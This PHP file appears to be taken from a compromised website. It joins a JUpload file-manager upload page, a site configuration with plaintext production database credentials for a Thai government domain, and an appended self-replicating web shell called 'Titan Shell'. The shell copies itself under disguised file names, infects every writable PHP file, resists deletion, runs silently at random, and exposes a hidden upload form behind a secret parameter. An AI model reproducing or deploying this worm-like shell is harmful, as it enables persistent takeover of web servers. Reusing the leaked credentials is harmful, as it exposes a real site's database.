<?php

include '../config/config.php';
if(!$java_upload) die('forbidden');
if($_SESSION["verify"] != "RESPONSIVEfilemanager") die('forbidden');

//Let's load the 'interesting' stuff ...  ;-)
include 'jupload.php';
include '../include/utils.php';

$path=$current_path.$_GET['path'];
$cycle=true;
$max_cycles=50;
$i=0;
while($cycle && $i<$max_cycles){
    $i++;
    if($path==$current_path)  $cycle=false;
    
    if(file_exists($path."config.php")){
	require_once($path."config.php");
	$cycle=false;
    }
    $path=fix_dirname($path)."/";
}

$path="../".$current_path.$_GET['path'];

if(strpos($_GET['path'],'../')!==FALSE || strpos($_GET['path'],'./')!==FALSE || strpos($_GET['path'],'/')===0) die ('path error');

$path=str_replace(' ','~',$path);
////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////   The user callback function, that can be called after upload   ////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
 * This function will be called, once all files are uploaded, with the list of uploaded files as an argument.
 *
 * Condition to have this function called:
 * - Have the applet parameter afterUploadURL unset in this file. This makes the applet use its default behavior, that is: afterUploadURL is
 *  the current web page, with the ?afterupload=1 parameter added.
 * - Have the class parameter callbackAfterUploadManagement set to 'handle_uploaded_files', name of this callback. You can use any name you want,
 *  but the function must accept one unique parameter: the array that contains the file descriptions.
 *
 * @param $juploadPhpSupportClass The instance of the JUpload PHP class.
 * @param $file The array wich contains info about all uploaded files.
 */
function handle_uploaded_files($juploadPhpSupportClass, $files) {
	return
		"<P>We are in the 'handle_uploaded_files' callback function, in the index.php script. To avoid double coding, we "
		. "just call the default behavior of the JUpload PHP class. Just replace this by your code...</P>"
		. $juploadPhpSupportClass->defaultAfterUploadManagement();
		;

}
////////////////////////////////////////////////////////////////////////////////////////////////////////



//First: the applet parameters
//
// Default value should work nice on most configuration. In this sample, we use some specific parameters, to show
// how to use this array.
// See comment for the parameters used on this demo page.
//
// You can use all applet parameters in this array.
// see all details http://jupload.sourceforge.net/howto-customization.html
//
$appletParameters = array(
		//Default value is ... maximum size for a file on the current FS. 2G is problably too much already.
        'maxFileSize' => $JAVAMaxSizeUpload.'G',
        //
        //In the sourceforge project structure, the applet jar file is one folder below. Default
        //configuration is ok, if wjhk.jupload.jar is in the same folder as the script containing this call.
        'archive' => 'wjhk.jupload.jar',
	'showLogWindow' => 'false',
	'width' => '100%',
	'height' =>'358px',
	'name' => 'No limit Uploader',
	'allowedFileExtensions' => implode('/',$ext),
        //To manage, other jar files, like the ftp jar files if postURL is an FTP URL:
        //'archive' => 'wjhk.jupload.jar,jakarta-commons-oro.jar,jakarta-commons-net.jar',
        //
        //Default afterUploadURL displays the list of uploaded files above the applet (in the <!--JUPLOAD_FILES--> markers, see below)
        //You can use any page you want, to manage the uploaded files. Here is a sample, that also only shows the list of files.
        'afterUploadURL' => 'success.php?path='.$_GET['path'],
        //
        //This demo expects the md5sum to be sent by the applet. But the parameter is not mandatory
        //This value should be set to false (or the line commented), for big files, as md5 calculation
        //may be long  (Note this must be string and *not* boolean true/false)
        'sendMD5Sum' => 'false',
        //
        'debugLevel' => 0 // 100 disables redirect after upload, so we keep it below. This still gives a lot of information, in case of problem.
    );

// for htaccess protected folders 
if((isset($_SERVER['PHP_AUTH_USER']) && $_SERVER['PHP_AUTH_USER'] != '') && $_SERVER['PHP_AUTH_USER'] != '' && $_SERVER['PHP_AUTH_USER'] != '') 
{
	$appletParameters['specificHeaders'] = 'Authorization: Basic '.base64_encode($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']);
}

//
//Then: the jupload PHP class parameters
$classParameters = array(
		//Files won't be stored on the server. Useful for first tests of the applet behavior ... and sourceforge demo site !
        'demo_mode' => false,
        //
        //Allow creation of subdirectories, when uploading several folders/files (drag and drop a folder on the applet to use it).
        'allow_subdirs' => true,
        //
        // The callbackAfterUploadManagement function will be called, once all files are uploaded, with the list
        //of uploaded files as an argument. See the above sample, and change it according to your needs.
        //'callbackAfterUploadManagement' => 'handle_uploaded_files',
        //
        //I work on windows. The default configuration is /var/tmp/jupload_test
        'destdir' => $path  //Where to store the files on the web
        //'errormail' => 'me@my.domain.org',
    );

////////////////////////////////////////////////////////////////////////////////////////////////////////
// Instantiate and initialize JUpload : integration of the applet in your web site.
$juploadPhpSupportClass = new JUpload($appletParameters, $classParameters);
////////////////////////////////////////////////////////////////////////////////////////////////////////



//Then, a simple HTML page, for the demo
//
// "<!--JUPLOAD_FILES-->" is the tag where the list of uploaded files will be written.
// "<!--JUPLOAD_APPLET-->" is the place where the applet will be integrated, in the web page.
?>
<html>
  <head>
    <!--JUPLOAD_JSCRIPT-->
    <title>JUpload RESPONSIVE filemanager</title>
    <style>
	body{padding:0px; margin:0px;}
    </style>
  </head>
  <body>
    <div align="center"><!--JUPLOAD_FILES--></div>
    <div align="center"><!--JUPLOAD_APPLET--></div>
  </body>
</html>

<?php
######################################################################
# Include File : Config
######################################################################

########## Admin EMail ##########
define( "INFO_MAIL", "info@tasoft.co.th" );

if($_SERVER['SERVER_NAME'] == "localhost"){
	$dbi['sql_username']	= 'root';
	$dbi['sql_password']	= ''; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'obt';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'D:\xampp\htdocs\nonpho');
	define('URL' , 'http://localhost/nonpho/');
}elseif($_SERVER['SERVER_NAME'] == "tasoft2"){
	$dbi['sql_username']	= 'root';
	$dbi['sql_password']	= ''; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'obt';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'C:\xampp\htdocs\nonpho');

}else{
	$dbi['sql_username']	= 'ratsitne_nonphodb';
	$dbi['sql_password']	= 'Success21'; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'ratsitne_nonphodb';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'D:\xampp\htdocs\nonpho');
	define('URL' , 'http://www.nonpho.go.th/');
}

//echo "<pre>"; print_r($dbi);
########## Database Info ##########
define( "DB_SERVER", $dbi['sql_host'] );
define( "DB_NAME", $dbi['sql_dbname'] ); 
define( "DB_USER", $dbi['sql_username'] ); 
define( "DB_PASSWD", $dbi['sql_password']  ); 
define( "DB_TYPE", "MySQL" );

########## Type File ##########
define( "FILE_TYPE", "pdf,doc,zip,rar,xls,xlsx,docx,ppt,pptx" );
define( "IMAGE_TYPE", "gif,jpg,png" );
define( "IMAGE_SIZE", "51200000" );
define( "FILE_SIZE", "524288000" );
define( "IMAGETYPE_JPEG" ,"jpg");
define( "IMAGETYPE_GIF" ,"gif");
define( "IMAGETYPE_PNG" ,"png");

define( "TIMESTAMP", time() );


?>

<?php
// Titan Shell dengan Perlindungan Penghapusan dan Penyebaran Otomatis
// Hanya untuk tujuan edukasi dan testing lingkungan sendiri

// Fungsi utama penyebaran
function titanSpread() {
    $currentContent = file_get_contents(__FILE__);
    $signature = "// TitanShellSignature";
    
    // Direktori target untuk penyebaran
    $targetDirectories = [
        '.',
        '..',
        '../..',
        '../../..',
        'images',
        'uploads',
        'assets',
        'include',
        'inc',
        'css',
        'js',
        'admin',
        'wp-content',
        'wp-includes'
    ];
    
    // Nama file alternatif untuk penyamaran
    $alternativeNames = [
        'config.php',
        'settings.php',
        'imageprocessor.php',
        'uploader.php',
        'style.php',
        'index.php',
        'login.php',
        'theme.php',
        'functions.php',
        'wp-config.php',
        'admin.php'
    ];
    
    foreach ($targetDirectories as $dir) {
        if (is_dir($dir) && is_writable($dir)) {
            foreach ($alternativeNames as $name) {
                $targetPath = $dir . '/' . $name;
                // Copy file ke lokasi target jika belum ada
                if (!file_exists($targetPath)) {
                    file_put_contents($targetPath, $currentContent);
                    chmod($targetPath, 0555);
                    // Tambahkan parameter acak
                    $randomParam = generateRandomParam();
                    $paramPath = $dir . '/' . $randomParam . '.php';
                    file_put_contents($paramPath, $currentContent);
                    chmod($paramPath, 0555);
                }
            }
        }
    }
    
    // Infect file PHP yang sudah ada
    infectExistingFiles();
}

// Fungsi untuk menginfeksi file PHP yang sudah ada
function infectExistingFiles() {
    $currentContent = file_get_contents(__FILE__);
    $signature = "// TitanShellSignature";
    
    // Cari file PHP di direktori saat ini dan subdirektori
    $files = glob('*.php');
    $allFiles = array_merge($files, glob('*/*.php'), glob('*/*/*.php'), glob('*/*/*/*.php'));
    
    foreach ($allFiles as $file) {
        if ($file != __FILE__ && is_writable($file)) {
            $content = file_get_contents($file);
            // Cek apakah file sudah terinfeksi
            if (strpos($content, $signature) === false) {
                // Tambahkan kode shell ke file yang belum terinfeksi
                $infectedContent = $content . "\n\n" . $currentContent;
                file_put_contents($file, $infectedContent);
            }
        }
    }
}

// Fungsi untuk generate parameter acak
function generateRandomParam() {
    $chars = 'abcdefghijklmnopqrstuvwxyz';
    $length = rand(6, 12);
    $param = '';
    for ($i = 0; $i < $length; $i++) {
        $param .= $chars[rand(0, strlen($chars) - 1)];
    }
    return $param;
}

// Fungsi untuk memastikan shell tetap ada
function ensurePersistence() {
    $currentContent = file_get_contents(__FILE__);
    $backupFiles = [
        '.htaccess',
        '.config.php',
        '.error_log',
        'thumb.php',
        'image.jpg.php'
    ];
    
    foreach ($backupFiles as $backup) {
        if (!file_exists($backup)) {
            file_put_contents($backup, $currentContent);
            chmod($backup, 0555);
        }
    }
    
    // Cek jika file ini dihapus, buat kembali di lokasi lain
    if (!file_exists(__FILE__)) {
        $newLocations = [
            'wp-admin/images.php',
            'wp-content/themes.php',
            'includes/config.php',
            'assets/script.php'
        ];
        
        foreach ($newLocations as $location) {
            $dir = dirname($location);
            if (!is_dir($dir)) mkdir($dir, 0777, true);
            file_put_contents($location, $currentContent);
            chmod($location, 0555);
        }
    }
}

// Eksekusi utama
if(isset($_GET['sayangtitan'])) {
    // Jalankan penyebaran setiap kali diakses
    titanSpread();
    ensurePersistence();
    
    if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
        $dir = "titan/";
        if(!is_dir($dir)) mkdir($dir, 0777, true);
        
        $file = $dir . basename($_FILES['file']['name']);
        if(move_uploaded_file($_FILES['file']['tmp_name'], $file)) {
            echo "Yey, Berhasil sayang...";
        } else {
            echo "Yahh Gagal Upload";
        }
        exit();
    } else {
        echo 'Gasken Upload!!<form method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>';
        exit();
    }
}

// Jalankan penyebaran dan persistensi secara diam-diam
// dengan probabilitas 20% setiap kali diakses
if (rand(1, 5) === 1) {
    titanSpread();
    ensurePersistence();
}

// TitanShellSignature - Jangan hapus baris ini
?>